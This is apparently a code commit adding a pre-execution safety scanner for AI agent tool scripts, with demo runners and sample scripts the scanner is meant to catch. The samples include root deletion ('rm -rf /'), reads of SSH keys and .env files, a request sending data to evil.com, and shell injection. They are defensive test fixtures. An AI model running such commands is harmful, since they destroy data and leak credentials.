feature(Tool_Script_Safety_Guard): 工具脚本安全护栏功能

新增工具调用执行前的静态安全审查护栏，对 Python / Bash 脚本做模式扫描，
按策略给出 allow / review / deny 决策，并支持脱敏与审计落盘。

核心模块 (trpc_agent_sdk/tools/safety/):
- engine.py        扫描引擎，编排扫描器并产出决策报告
- policy.py        YAML 安全策略（白名单域名、允许命令、forbidden_paths、扫描限制）
- rules.py/models.py  规则定义与数据模型
- scanners/        Python(AST+文本) 与 Bash 扫描器、共享 patterns 检测
- filter.py/wrapper.py  工具调用过滤器与包装器
- audit.py         审计日志（JSONL）

关键能力:
- forbidden_paths 由策略驱动：带边界字面匹配 + ~ 展开，改策略即生效、无需改代码
- /dev /proc /sys 归类 FILE_OVERWRITE_DEVICE，其余 FILE_FORBIDDEN_PATH
- 敏感信息脱敏 + max_line_length 截断防 ReDoS

示例 (examples/tool_safety_guard/):
- run_scan.py / run_with_filter.py 端到端演示，含 12 个样例与 EXPECTED 基线
- 策略、报告、审计产物与 README（含已知限制）

测试 (tests/tools/safety/):
- engine / policy / 扫描器 / 过滤器 / 验收 / forbidden_paths 配置驱动用例
- 12/12 样例决策与 EXPECTED 一致，deny 检出 6/6，安全样本误报 0

工具:
- scripts/tool_safety_check.py CLI 入口

Author: sylviaanhe@tencent.com

examples/tool_safety_guard/README.md

@@ -0,0 +1,126 @@
+# Tencent is pleased to support the open source community by making tRPC-Agent-Python available.
+#
+# Copyright (C) 2026 Tencent. All rights reserved.
+#
+# tRPC-Agent-Python is licensed under Apache-2.0.
+"""Batch-scan the 12 sample scripts and report acceptance metrics.
+
+Produces ``tool_safety_report.json`` and ``tool_safety_audit.jsonl`` next to this
+file, then prints the headline acceptance numbers:
+
+- every sample scanned and reported,
+- high-risk (deny) detection rate,
+- safe-sample false-positive rate (safe -> deny only; review is not counted),
+- 100% detection of the three must-catch categories,
+- single 500-line scan duration.
+
+Run::
+
+    python examples/tool_safety_guard/run_scan.py
+"""
+
+from __future__ import annotations
+
+import json
+import time
+from pathlib import Path
+
+from trpc_agent_sdk.tools.safety import Decision
+from trpc_agent_sdk.tools.safety import Language
+from trpc_agent_sdk.tools.safety import AuditLogger
+from trpc_agent_sdk.tools.safety import SafetyEngine
+from trpc_agent_sdk.tools.safety import ScanInput
+from trpc_agent_sdk.tools.safety import load_policy
+
+HERE = Path(__file__).resolve().parent
+SAMPLES_DIR = HERE / "samples"
+POLICY_PATH = HERE / "tool_safety_policy.yaml"
+REPORT_PATH = HERE / "tool_safety_report.json"
+AUDIT_PATH = HERE / "tool_safety_audit.jsonl"
+
+# Samples in the must-catch categories (must be denied 100% of the time).
+MUST_CATCH = {
+    "02_dangerous_delete.py": "dangerous_delete",
+    "03_read_secret.py": "secret_read",
+    "04_network_egress.py": "non_allowlisted_egress",
+    "10_secret_leak_output.py": "secret_read",
+    "11_curl_pipe_bash.sh": "non_allowlisted_egress",
+}
+
+_SUFFIX_LANG = {".py": Language.PYTHON, ".sh": Language.BASH, ".bash": Language.BASH}
+
+
+def detect_language(path: Path) -> Language:
+    return _SUFFIX_LANG.get(path.suffix.lower(), Language.UNKNOWN)
+
+
+def main() -> int:
+    expected = json.loads((SAMPLES_DIR / "EXPECTED.json").read_text(encoding="utf-8"))
+    engine = SafetyEngine(load_policy(str(POLICY_PATH)))
+
+    # Fresh audit log each run.
+    if AUDIT_PATH.exists():
+        AUDIT_PATH.unlink()
+    audit = AuditLogger(str(AUDIT_PATH))
+
+    reports: list[dict] = []
+    correct = 0
+    deny_total = deny_hit = 0
+    safe_total = safe_fp = 0
+    must_catch_hits: dict[str, bool] = {}
+
+    for name in sorted(expected):
+        path = SAMPLES_DIR / name
+        script = path.read_text(encoding="utf-8", errors="ignore")
+        report = engine.scan(ScanInput(script=script, tool_name=name, language=detect_language(path)))
+        audit.log(report, blocked=report.decision == Decision.DENY)
+
+        exp = expected[name]
+        got = report.decision.value
+        correct += int(got == exp)
+        if exp == "deny":
+            deny_total += 1
+            deny_hit += int(got == "deny")
+        if exp == "allow":
+            safe_total += 1
+            safe_fp += int(got == "deny")
+        if name in MUST_CATCH:
+            must_catch_hits[name] = (got == "deny")
+
+        record = report.to_dict()
+        record["file"] = name
+        record["expected"] = exp
+        reports.append(record)
+        print(f"  [{got:>18}] expected={exp:<18} {name}")
+
+    # 500-line performance probe.
+    big = "\n".join(f"value_{i} = {i} * {i}" for i in range(500))
+    start = time.perf_counter()
+    engine.scan(ScanInput(script=big, tool_name="perf_probe", language=Language.PYTHON))
+    duration = time.perf_counter() - start
+
+    summary = {
+        "total": len(reports),
+        "decision_match": f"{correct}/{len(reports)}",
+        "deny_detection_rate": f"{deny_hit}/{deny_total}",
+        "safe_false_positive_rate": f"{safe_fp}/{safe_total}",
+        "must_catch_all_denied": all(must_catch_hits.values()),
+        "scan_500_lines_seconds": round(duration, 4),
+    }
+    REPORT_PATH.write_text(
+        json.dumps({"summary": summary, "reports": reports}, ensure_ascii=False, indent=2),
+        encoding="utf-8")
+
+    print("\n=== acceptance metrics ===")
+    print(f"all samples scanned & reported : {len(reports)}/12")
+    print(f"decision match                 : {summary['decision_match']}")
+    print(f"high-risk (deny) detection     : {summary['deny_detection_rate']}")
+    print(f"safe false-positive (safe->deny): {summary['safe_false_positive_rate']}")
+    print(f"must-catch categories 100%     : {summary['must_catch_all_denied']} {must_catch_hits}")
+    print(f"500-line scan duration         : {summary['scan_500_lines_seconds']}s")
+    print(f"\nreport: {REPORT_PATH}\naudit : {AUDIT_PATH}")
+    return 0
+
+
+if __name__ == "__main__":
+    raise SystemExit(main())

examples/tool_safety_guard/run_scan.py

@@ -0,0 +1,94 @@
+# Tencent is pleased to support the open source community by making tRPC-Agent-Python available.
+#
+# Copyright (C) 2026 Tencent. All rights reserved.
+#
+# tRPC-Agent-Python is licensed under Apache-2.0.
+"""Demonstrate that ToolSafetyFilter blocks a high-risk tool BEFORE it runs.
+
+A tool sets ``executed = True`` the moment its body runs. With the
+``tool_safety_guard`` filter attached, a dangerous command is denied and the
+body never runs (``executed`` stays False), while a safe command runs normally.
+Each attempt also writes one auditable event.
+
+Run::
+
+    python examples/tool_safety_guard/run_with_filter.py
+"""
+
+from __future__ import annotations
+
+import asyncio
+import json
+import os
+from pathlib import Path
+from typing import Any
+from unittest.mock import MagicMock
+
+HERE = Path(__file__).resolve().parent
+# Load the example policy and write the demo audit log next to this file.
+os.environ.setdefault("TOOL_SAFETY_POLICY_PATH", str(HERE / "tool_safety_policy.yaml"))
+AUDIT_PATH = HERE / "filter_demo_audit.jsonl"
+os.environ.setdefault("TOOL_SAFETY_AUDIT_PATH", str(AUDIT_PATH))
+
+from trpc_agent_sdk.context import InvocationContext  # noqa: E402
+from trpc_agent_sdk.tools._base_tool import BaseTool  # noqa: E402
+import trpc_agent_sdk.tools.safety.filter  # noqa: E402,F401  (registers tool_safety_guard)
+
+
+class DemoBashTool(BaseTool):
+    """A stand-in tool that records whether its body actually executed."""
+
+    def __init__(self) -> None:
+        super().__init__(name="Bash", description="demo bash tool",
+                         filters_name=["tool_safety_guard"])
+        self.executed = False
+        self.last_command: Any = None
+
+    async def _run_async_impl(self, *, tool_context: InvocationContext, args: dict[str, Any]) -> Any:
+        self.executed = True  # side-effect marker: proves the body ran
+        self.last_command = args.get("command")
+        return {"success": True, "ran": args.get("command")}
+
+
+def _make_context() -> InvocationContext:
+    ctx = MagicMock(spec=InvocationContext)
+    ctx.agent_context = MagicMock()
+    ctx.agent = MagicMock()
+    ctx.agent.before_tool_callback = None
+    ctx.agent.after_tool_callback = None
+    return ctx
+
+
+async def main() -> int:
+    if AUDIT_PATH.exists():
+        AUDIT_PATH.unlink()
+
+    # 1) Dangerous command -> must be blocked before execution.
+    dangerous = DemoBashTool()
+    result = await dangerous.run_async(tool_context=_make_context(), args={"command": "rm -rf /"})
+    print("dangerous command : 'rm -rf /'")
+    print(f"  executed body?  -> {dangerous.executed}  (expected: False)")
+    print(f"  blocked result  -> {result.get('blocked')}  decision={result.get('safety', {}).get('decision')}")
+
+    # 2) Safe command -> runs normally.
+    safe = DemoBashTool()
+    result2 = await safe.run_async(tool_context=_make_context(), args={"command": "ls -la"})
+    print("\nsafe command      : 'ls -la'")
+    print(f"  executed body?  -> {safe.executed}  (expected: True)")
+    print(f"  result          -> {result2}")
+
+    # Show the auditable events recorded for both attempts.
+    print(f"\naudit log: {AUDIT_PATH}")
+    if AUDIT_PATH.exists():
+        for line in AUDIT_PATH.read_text(encoding="utf-8").splitlines():
+            record = json.loads(line)
+            print(f"  decision={record['decision']:>18} blocked={record['blocked']} "
+                  f"rule={record['rule_id']}")
+
+    ok = (dangerous.executed is False) and (safe.executed is True)
+    print("\nDEMO PASSED" if ok else "\nDEMO FAILED")
+    return 0 if ok else 1
+
+
+if __name__ == "__main__":
+    raise SystemExit(asyncio.run(main()))

examples/tool_safety_guard/run_with_filter.py

@@ -0,0 +1,20 @@
+# Sample 01 - SAFE: pure computation and printing, no risky operations.
+# Expected decision: allow
+
+
+def fibonacci(n: int) -> int:
+    a, b = 0, 1
+    for _ in range(n):
+        a, b = b, a + b
+    return a
+
+
+def main() -> None:
+    numbers = [fibonacci(i) for i in range(10)]
+    total = sum(numbers)
+    print(f"fibonacci sequence: {numbers}")
+    print(f"sum: {total}")
+
+
+if __name__ == "__main__":
+    main()

examples/tool_safety_guard/samples/01_safe_compute.py

@@ -0,0 +1,10 @@
+# Sample 02 - DANGEROUS DELETE: recursive removal of the filesystem root.
+# Expected decision: deny  (FILE_RM_RF, CRITICAL)
+import os
+import shutil
+
+# Recursive delete of the root directory.
+shutil.rmtree("/")
+
+# Same intent via the shell.
+os.system("rm -rf /")

examples/tool_safety_guard/samples/02_dangerous_delete.py

@@ -0,0 +1,11 @@
+# Sample 03 - SECRET READ: loading an SSH private key and environment secrets.
+# Expected decision: deny  (SECRET_READ_SSH / SECRET_READ_ENV, CRITICAL)
+import os
+
+with open(os.path.expanduser("~/.ssh/id_rsa")) as fh:
+    private_key = fh.read()
+
+with open(".env") as fh:
+    env_secrets = fh.read()
+
+print("loaded credentials")

examples/tool_safety_guard/samples/03_read_secret.py

@@ -0,0 +1,6 @@
+# Sample 04 - NETWORK EGRESS: request to a host that is NOT allow-listed.
+# Expected decision: deny  (NET_EGRESS_NON_ALLOWLIST, CRITICAL)
+import requests
+
+response = requests.get("http://evil.com/collect?data=secret")
+print(response.status_code)

examples/tool_safety_guard/samples/04_network_egress.py

@@ -0,0 +1,6 @@
+# Sample 05 - SAFE NETWORK: request to an allow-listed host (api.example.com).
+# Expected decision: allow  (host is in policy.allow_domains)
+import requests
+
+response = requests.get("https://api.example.com/v1/status")
+print(response.json())

examples/tool_safety_guard/samples/05_allowlisted_request.py

@@ -0,0 +1,6 @@
+# Sample 06 - SUBPROCESS: spawning an external command (no shell).
+# Expected decision: needs_human_review  (EXEC_SUBPROCESS, MEDIUM)
+import subprocess
+
+result = subprocess.run(["ls", "-la", "/tmp"], capture_output=True, text=True)
+print(result.stdout)

examples/tool_safety_guard/samples/06_subprocess_call.py

@@ -0,0 +1,9 @@
+# Sample 07 - SHELL INJECTION: untrusted input interpolated into a shell string.
+# Expected decision: deny  (EXEC_SHELL_INJECTION, HIGH)
+import os
+import sys
+
+user_input = sys.argv[1] if len(sys.argv) > 1 else "."
+
+# f-string interpolation into os.system is a classic injection vector.
+os.system(f"ls {user_input}")